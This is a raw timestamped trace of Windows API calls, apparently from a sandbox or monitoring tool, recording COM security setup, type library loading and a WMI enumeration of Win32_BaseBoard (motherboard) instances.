	[0178.542] IClientSecurity:SetBlanket (This=0x55c67c, pProxy=0x472d2e4, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0178.543] IUnknown:Release (This=0x55c67c) returned 0x4
	[0178.543] IUnknown:Release (This=0x55c69c) returned 0x3
	[0178.543] IUnknown:Release (This=0x55c67c) returned 0x2
	[0178.543] IUnknown:AddRef (This=0x472d2e4) returned 0x3
	[0178.543] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d2f8
	[0178.543] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c948
	[0178.543] IUnknown:Release (This=0x472d174) returned 0x2
	[0178.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.543] GetCurrentThreadId () returned 0x7f4
	[0178.543] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.543] GetCurrentThreadId () returned 0x7f4
	[0178.543] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae588 | out: ppvObject=0x3ae588*=0x55c67c) returned 0x0
	[0178.544] IClientSecurity:QueryBlanket (in: This=0x55c67c, pProxy=0x472d2e4, pAuthnSvc=0x3ae578, pAuthzSvc=0x3ae57c, pServerPrincName=0x0, pAuthnLevel=0x3ae5a8, pImpLevel=0x3ae5ac, pAuthInfo=0x0, pCapabilites=0x3ae590 | out: pAuthnSvc=0x3ae578*=0xa, pAuthzSvc=0x3ae57c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae5a8*=0x6, pImpLevel=0x3ae5ac*=0x3, pAuthInfo=0x0, pCapabilites=0x3ae590*=0x20) returned 0x0
	[0178.544] IUnknown:Release (This=0x55c67c) returned 0x2
	[0178.544] CreatePointerMoniker (in: punk=0x472c878, ppmk=0x3ae738 | out: ppmk=0x3ae738*=0x55f0d8) returned 0x0
	[0178.544] IUnknown:AddRef (This=0x472c878) returned 0x2
	[0178.544] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.544] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.545] WbemLocator:IUnknown:Release (This=0x47208e8) returned 0x0
	[0178.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.545] IUnknown:Release (This=0x4720850) returned 0x0
	[0178.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.546] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae02c | out: ppvObject=0x3ae02c*=0x55f0d8) returned 0x0
	[0178.548] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x748a4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3adfe8 | out: ppvObject=0x3adfe8*=0x0) returned 0x80004002
	[0178.548] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x747d0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3adedc | out: ppvObject=0x3adedc*=0x0) returned 0x80004002
	[0178.548] IUnknown:AddRef (This=0x55f0d8) returned 0x3
	[0178.548] CoGetContextToken (in: pToken=0x3ade74 | out: pToken=0x3ade74) returned 0x0
	[0178.548] CoGetContextToken (in: pToken=0x3ade38 | out: pToken=0x3ade38) returned 0x0
	[0178.548] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade6c | out: ppvObject=0x3ade6c*=0x527c2c) returned 0x0
	[0178.548] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3ade9c | out: pAptType=0x3ade9c*=3) returned 0x0
	[0178.548] IUnknown:Release (This=0x527c2c) returned 0x1
	[0178.549] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x747823cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade5c | out: ppvObject=0x3ade5c*=0x55f0ec) returned 0x0
	[0178.549] IMarshal:GetUnmarshalClass (in: This=0x55f0ec, riid=0x74887714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ade64 | out: pCid=0x3ade64*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0178.549] IUnknown:Release (This=0x55f0ec) returned 0x3
	[0178.549] CoGetContextToken (in: pToken=0x3ade6c | out: pToken=0x3ade6c) returned 0x0
	[0178.549] IUnknown:AddRef (This=0x55f0d8) returned 0x4
	[0178.549] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x747d767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adee0 | out: ppvObject=0x3adee0*=0x0) returned 0x80004002
	[0178.549] IUnknown:Release (This=0x55f0d8) returned 0x3
	[0178.549] IUnknown:Release (This=0x55f0d8) returned 0x2
	[0178.550] CoGetContextToken (in: pToken=0x3ae2e0 | out: pToken=0x3ae2e0) returned 0x0
	[0178.550] CoGetContextToken (in: pToken=0x3ae2a0 | out: pToken=0x3ae2a0) returned 0x0
	[0178.550] IUnknown:AddRef (This=0x55f0d8) returned 0x3
	[0178.550] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x3ae31c*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae318 | out: ppvObject=0x3ae318*=0x55f0d8) returned 0x0
	[0178.550] IUnknown:Release (This=0x55f0d8) returned 0x3
	[0178.550] IUnknown:Release (This=0x55f0d8) returned 0x2
	[0178.550] IUnknown:Release (This=0x55f0d8) returned 0x1
	[0178.550] IUnknown:Release (This=0x53a0e8) returned 0x2
	[0178.551] CoGetContextToken (in: pToken=0x3ae36c | out: pToken=0x3ae36c) returned 0x0
	[0178.551] CoGetContextToken (in: pToken=0x3ae32c | out: pToken=0x3ae32c) returned 0x0
	[0178.551] IUnknown:AddRef (This=0x55f0d8) returned 0x2
	[0178.551] IUnknown:QueryInterface (in: This=0x55f0d8, riid=0x3ae3a8*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae3a4 | out: ppvObject=0x3ae3a4*=0x55f0d8) returned 0x0
	[0178.552] IUnknown:Release (This=0x55f0d8) returned 0x2
	[0178.552] IUnknown:AddRef (This=0x55f0d8) returned 0x3
	[0178.552] BindMoniker (in: pmk=0x55f0d8, grfOpt=0x0, iidResult=0x23beac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x3ae77c | out: ppvResult=0x3ae77c*=0x472c878) returned 0x0
	[0178.552] IUnknown:QueryInterface (in: This=0x472c878, riid=0x23beac0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae77c | out: ppvObject=0x3ae77c*=0x472c878) returned 0x0
	[0178.555] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3adea4*=0x0 | out: pptlib=0x3adea4*=0x564648) returned 0x0
	[0178.581] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x472c8bc, ppTInfo=0x472c8a4 | out: ppTInfo=0x472c8a4*=0x56619c) returned 0x0
	[0178.582] IUnknown:Release (This=0x564648) returned 0x1
	[0178.582] IUnknown:AddRef (This=0x56619c) returned 0x2
	[0178.582] ITypeInfo:RemoteGetTypeAttr (in: This=0x56619c, ppTypeAttr=0x3adee8, pDummy=0xca7c8da3 | out: ppTypeAttr=0x3adee8, pDummy=0xca7c8da3) returned 0x0
	[0178.596] ITypeInfo:LocalReleaseTypeAttr (This=0x56619c) returned 0x559cc8
	[0178.597] IUnknown:Release (This=0x56619c) returned 0x1
	[0178.597] CoGetContextToken (in: pToken=0x3ade74 | out: pToken=0x3ade74) returned 0x0
	[0178.597] CoGetContextToken (in: pToken=0x3ade38 | out: pToken=0x3ade38) returned 0x0
	[0178.597] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade6c | out: ppvObject=0x3ade6c*=0x527c2c) returned 0x0
	[0178.597] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3ade9c | out: pAptType=0x3ade9c*=3) returned 0x0
	[0178.597] IUnknown:Release (This=0x527c2c) returned 0x1
	[0178.597] CoGetContextToken (in: pToken=0x3ade6c | out: pToken=0x3ade6c) returned 0x0
	[0178.598] IUnknown:Release (This=0x55f0d8) returned 0x2
	[0178.611] CoGetContextToken (in: pToken=0x3ae3a8 | out: pToken=0x3ae3a8) returned 0x0
	[0178.612] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3ae3a4*=0x0 | out: pptlib=0x3ae3a4*=0x564648) returned 0x0
	[0178.615] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x472c8ac, ppTInfo=0x472c8a0 | out: ppTInfo=0x472c8a0*=0x5661c8) returned 0x0
	[0178.615] IUnknown:Release (This=0x564648) returned 0x2
	[0178.615] IUnknown:AddRef (This=0x5661c8) returned 0x2
	[0178.615] DispGetIDsOfNames (in: ptinfo=0x5661c8, rgszNames=0x3ae400*="InstancesOf", cNames=0x1, rgdispid=0x3ae3f0 | out: rgdispid=0x3ae3f0*=5) returned 0x0
	[0178.617] IUnknown:Release (This=0x5661c8) returned 0x1
	[0178.617] IUnknown:AddRef (This=0x5661c8) returned 0x2
	[0178.617] ITypeInfo:LocalInvoke (This=0x5661c8) returned 0x0
	[0178.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.618] GetCurrentThreadId () returned 0x7f4
	[0178.618] IUnknown:AddRef (This=0x472d2e4) returned 0x3
	[0178.618] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.618] GetCurrentThreadId () returned 0x7f4
	[0178.618] IWbemServices:CreateInstanceEnum (in: This=0x472d2e4, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x3ae04c | out: ppEnum=0x3ae04c*=0x47208dc) returned 0x0
	[0178.682] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720918
	[0178.682] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720978
	[0178.682] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d358
	[0178.682] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c988
	[0178.682] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d3b8
	[0178.682] IUnknown:QueryInterface (in: This=0x47208dc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf64 | out: ppvObject=0x3adf64*=0x47208e0) returned 0x0
	[0178.683] IClientSecurity:QueryBlanket (in: This=0x47208e0, pProxy=0x47208dc, pAuthnSvc=0x3adf54, pAuthzSvc=0x3adf58, pServerPrincName=0x0, pAuthnLevel=0x3adf80, pImpLevel=0x3adf7c, pAuthInfo=0x0, pCapabilites=0x3adf6c | out: pAuthnSvc=0x3adf54*=0xa, pAuthzSvc=0x3adf58*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3adf80*=0x6, pImpLevel=0x3adf7c*=0x2, pAuthInfo=0x0, pCapabilites=0x3adf6c*=0x1) returned 0x0
	[0178.683] IUnknown:Release (This=0x47208e0) returned 0x1
	[0178.683] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.683] GetCurrentThreadId () returned 0x7f4
	[0178.684] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf48 | out: ppvObject=0x3adf48*=0x55c67c) returned 0x0
	[0178.684] IClientSecurity:QueryBlanket (in: This=0x55c67c, pProxy=0x472d2e4, pAuthnSvc=0x3adf38, pAuthzSvc=0x3adf3c, pServerPrincName=0x0, pAuthnLevel=0x3adf68, pImpLevel=0x3adf6c, pAuthInfo=0x0, pCapabilites=0x3adf50 | out: pAuthnSvc=0x3adf38*=0xa, pAuthzSvc=0x3adf3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3adf68*=0x6, pImpLevel=0x3adf6c*=0x3, pAuthInfo=0x0, pCapabilites=0x3adf50*=0x20) returned 0x0
	[0178.684] IUnknown:Release (This=0x55c67c) returned 0x3
	[0178.684] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.684] GetCurrentThreadId () returned 0x7f4
	[0178.684] IUnknown:QueryInterface (in: This=0x472d2e4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf48 | out: ppvObject=0x3adf48*=0x55c67c) returned 0x0
	[0178.684] IClientSecurity:QueryBlanket (in: This=0x55c67c, pProxy=0x472d2e4, pAuthnSvc=0x3adf38, pAuthzSvc=0x3adf3c, pServerPrincName=0x0, pAuthnLevel=0x3adf6c, pImpLevel=0x3adf68, pAuthInfo=0x0, pCapabilites=0x3adf50 | out: pAuthnSvc=0x3adf38*=0xa, pAuthzSvc=0x3adf3c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3adf6c*=0x6, pImpLevel=0x3adf68*=0x3, pAuthInfo=0x0, pCapabilites=0x3adf50*=0x20) returned 0x0
	[0178.684] IUnknown:Release (This=0x55c67c) returned 0x3
	[0178.684] IUnknown:QueryInterface (in: This=0x47208dc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adf94 | out: ppvObject=0x3adf94*=0x47208e0) returned 0x0
	[0178.684] IClientSecurity:CopyProxy (in: This=0x47208e0, pProxy=0x47208dc, ppCopy=0x3adf98 | out: ppCopy=0x3adf98*=0x472d4fc) returned 0x0
	[0178.684] IUnknown:QueryInterface (in: This=0x472d4fc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adeb0 | out: ppvObject=0x3adeb0*=0x472d500) returned 0x0
	[0178.684] IClientSecurity:QueryBlanket (in: This=0x472d500, pProxy=0x472d4fc, pAuthnSvc=0x3aded4, pAuthzSvc=0x3adec4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3aded4*=0xa, pAuthzSvc=0x3adec4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0178.684] IUnknown:Release (This=0x472d500) returned 0x3
	[0178.684] IUnknown:QueryInterface (in: This=0x472d4fc, riid=0x73c334f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade88 | out: ppvObject=0x3ade88*=0x5675d4) returned 0x0
	[0178.684] IUnknown:QueryInterface (in: This=0x472d4fc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ade8c | out: ppvObject=0x3ade8c*=0x472d500) returned 0x0
	[0178.684] IClientSecurity:SetBlanket (This=0x472d500, pProxy=0x472d4fc, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0
	[0178.730] IUnknown:Release (This=0x472d500) returned 0x4
	[0178.730] IUnknown:Release (This=0x5675d4) returned 0x3
	[0178.730] IUnknown:Release (This=0x47208e0) returned 0x2
	[0178.730] IUnknown:AddRef (This=0x472d4fc) returned 0x3
	[0178.730] IUnknown:Release (This=0x47208dc) returned 0x2
	[0178.730] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ae004 | out: pperrinfo=0x3ae004*=0x0) returned 0x1
	[0178.731] IUnknown:Release (This=0x472d2e4) returned 0x2
	[0178.731] IUnknown:Release (This=0x5661c8) returned 0x1
	[0178.734] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3adca0*=0x0 | out: pptlib=0x3adca0*=0x564648) returned 0x0
	[0178.736] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x4720950, ppTInfo=0x4720938 | out: ppTInfo=0x4720938*=0x5662d0) returned 0x0
	[0178.736] IUnknown:Release (This=0x564648) returned 0x3
	[0178.736] IUnknown:AddRef (This=0x5662d0) returned 0x2
	[0178.736] ITypeInfo:RemoteGetTypeAttr (in: This=0x5662d0, ppTypeAttr=0x3adce4, pDummy=0xca7c8faf | out: ppTypeAttr=0x3adce4, pDummy=0xca7c8faf) returned 0x0
	[0178.736] ITypeInfo:LocalReleaseTypeAttr (This=0x5662d0) returned 0x559cc8
	[0178.737] IUnknown:Release (This=0x5662d0) returned 0x1
	[0178.737] CoGetContextToken (in: pToken=0x3adc70 | out: pToken=0x3adc70) returned 0x0
	[0178.737] CoGetContextToken (in: pToken=0x3adc34 | out: pToken=0x3adc34) returned 0x0
	[0178.737] IUnknown:QueryInterface (in: This=0x527c20, riid=0x748a3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adc68 | out: ppvObject=0x3adc68*=0x527c2c) returned 0x0
	[0178.737] IComThreadingInfo:GetCurrentApartmentType (in: This=0x527c2c, pAptType=0x3adc98 | out: pAptType=0x3adc98*=3) returned 0x0
	[0178.737] IUnknown:Release (This=0x527c2c) returned 0x1
	[0178.737] CoGetContextToken (in: pToken=0x3adc68 | out: pToken=0x3adc68) returned 0x0
	[0178.738] CoGetContextToken (in: pToken=0x3ae634 | out: pToken=0x3ae634) returned 0x0
	[0178.738] CoGetContextToken (in: pToken=0x3ae5f4 | out: pToken=0x3ae5f4) returned 0x0
	[0178.739] CoGetContextToken (in: pToken=0x3ae67c | out: pToken=0x3ae67c) returned 0x0
	[0178.740] LoadRegTypeLib (in: rguid=0x73c3364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x3ae67c*=0x0 | out: pptlib=0x3ae67c*=0x564648) returned 0x0
	[0178.742] ITypeLib:GetTypeInfoOfGuid (in: This=0x564648, guid=0x4720940, ppTInfo=0x4720934 | out: ppTInfo=0x4720934*=0x566278) returned 0x0
	[0178.742] IUnknown:Release (This=0x564648) returned 0x4
	[0178.742] IUnknown:AddRef (This=0x566278) returned 0x2
	[0178.742] ITypeInfo:LocalInvoke (This=0x566278) returned 0x0
	[0178.742] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.742] GetCurrentThreadId () returned 0x7f4
	[0178.742] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4720810
	[0178.743] IUnknown:Release (This=0x566278) returned 0x1
	[0178.743] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1
	[0178.866] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x54d5f0
	[0178.866] GetLastError () returned 0x0
	[0178.867] GetLastError () returned 0x0
	[0178.883] CoGetContextToken (in: pToken=0x3ae53c | out: pToken=0x3ae53c) returned 0x0
	[0178.893] CoGetContextToken (in: pToken=0x3ae168 | out: pToken=0x3ae168) returned 0x0
	[0178.894] IUnknown:AddRef (This=0x566278) returned 0x2
	[0178.894] ITypeInfo:LocalInvoke (This=0x566278) returned 0x0
	[0178.894] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.894] GetCurrentThreadId () returned 0x7f4
	[0178.894] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.894] GetCurrentThreadId () returned 0x7f4
	[0178.894] IUnknown:AddRef (This=0x472d4fc) returned 0x3
	[0178.894] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.894] GetCurrentThreadId () returned 0x7f4
	[0178.894] IEnumWbemClassObject:Clone (in: This=0x472d4fc, ppEnum=0x3ae158 | out: ppEnum=0x3ae158*=0x472d5c4) returned 0x0
	[0178.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d600
	[0178.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d660
	[0178.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d6c0
	[0178.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472c968
	[0178.896] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x472d720
	[0178.896] IUnknown:QueryInterface (in: This=0x472d5c4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae070 | out: ppvObject=0x3ae070*=0x472d5c8) returned 0x0
	[0178.896] IClientSecurity:QueryBlanket (in: This=0x472d5c8, pProxy=0x472d5c4, pAuthnSvc=0x3ae060, pAuthzSvc=0x3ae064, pServerPrincName=0x0, pAuthnLevel=0x3ae08c, pImpLevel=0x3ae088, pAuthInfo=0x0, pCapabilites=0x3ae078 | out: pAuthnSvc=0x3ae060*=0xa, pAuthzSvc=0x3ae064*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae08c*=0x6, pImpLevel=0x3ae088*=0x2, pAuthInfo=0x0, pCapabilites=0x3ae078*=0x1) returned 0x0
	[0178.896] IUnknown:Release (This=0x472d5c8) returned 0x1
	[0178.896] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.896] GetCurrentThreadId () returned 0x7f4
	[0178.896] IUnknown:QueryInterface (in: This=0x472d4fc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae054 | out: ppvObject=0x3ae054*=0x472d500) returned 0x0
	[0178.896] IClientSecurity:QueryBlanket (in: This=0x472d500, pProxy=0x472d4fc, pAuthnSvc=0x3ae044, pAuthzSvc=0x3ae048, pServerPrincName=0x0, pAuthnLevel=0x3ae074, pImpLevel=0x3ae078, pAuthInfo=0x0, pCapabilites=0x3ae05c | out: pAuthnSvc=0x3ae044*=0xa, pAuthzSvc=0x3ae048*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae074*=0x6, pImpLevel=0x3ae078*=0x3, pAuthInfo=0x0, pCapabilites=0x3ae05c*=0x20) returned 0x0
	[0178.896] IUnknown:Release (This=0x472d500) returned 0x3
	[0178.896] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
	[0178.896] GetCurrentThreadId () returned 0x7f4
	[0178.897] IUnknown:QueryInterface (in: This=0x472d4fc, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae054 | out: ppvObject=0x3ae054*=0x472d500) returned 0x0
	[0178.897] IClientSecurity:QueryBlanket (in: This=0x472d500, pProxy=0x472d4fc, pAuthnSvc=0x3ae044, pAuthzSvc=0x3ae048, pServerPrincName=0x0, pAuthnLevel=0x3ae078, pImpLevel=0x3ae074, pAuthInfo=0x0, pCapabilites=0x3ae05c | out: pAuthnSvc=0x3ae044*=0xa, pAuthzSvc=0x3ae048*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ae078*=0x6, pImpLevel=0x3ae074*=0x3, pAuthInfo=0x0, pCapabilites=0x3ae05c*=0x20) returned 0x0
	[0178.897] IUnknown:Release (This=0x472d500) returned 0x3
	[0178.897] IUnknown:QueryInterface (in: This=0x472d5c4, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ae0a0 | out: ppvObject=0x3ae0a0*=0x472d5c8) returned 0x0
	[0178.897] IClientSecurity:CopyProxy (in: This=0x472d5c8, pProxy=0x472d5c4, ppCopy=0x3ae0a4 | out: ppCopy=0x3ae0a4*=0x472d864) returned 0x0
	[0178.897] IUnknown:QueryInterface (in: This=0x472d864, riid=0x73c331fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3adfbc | out: ppvObject=0x3adfbc*=0x472d868) returned 0x0
	[0178.897] IClientSecurity:QueryBlanket (in: This=0x472d868, pProxy=0x472d864, pAuthnSvc=0x3adfe0, pAuthzSvc=0x3adfd0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3adfe0*=0xa, pAuthzSvc=0x3adfd0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0
	[0178.897] IUnknown:Release (This=0x472d868) returned 0x3
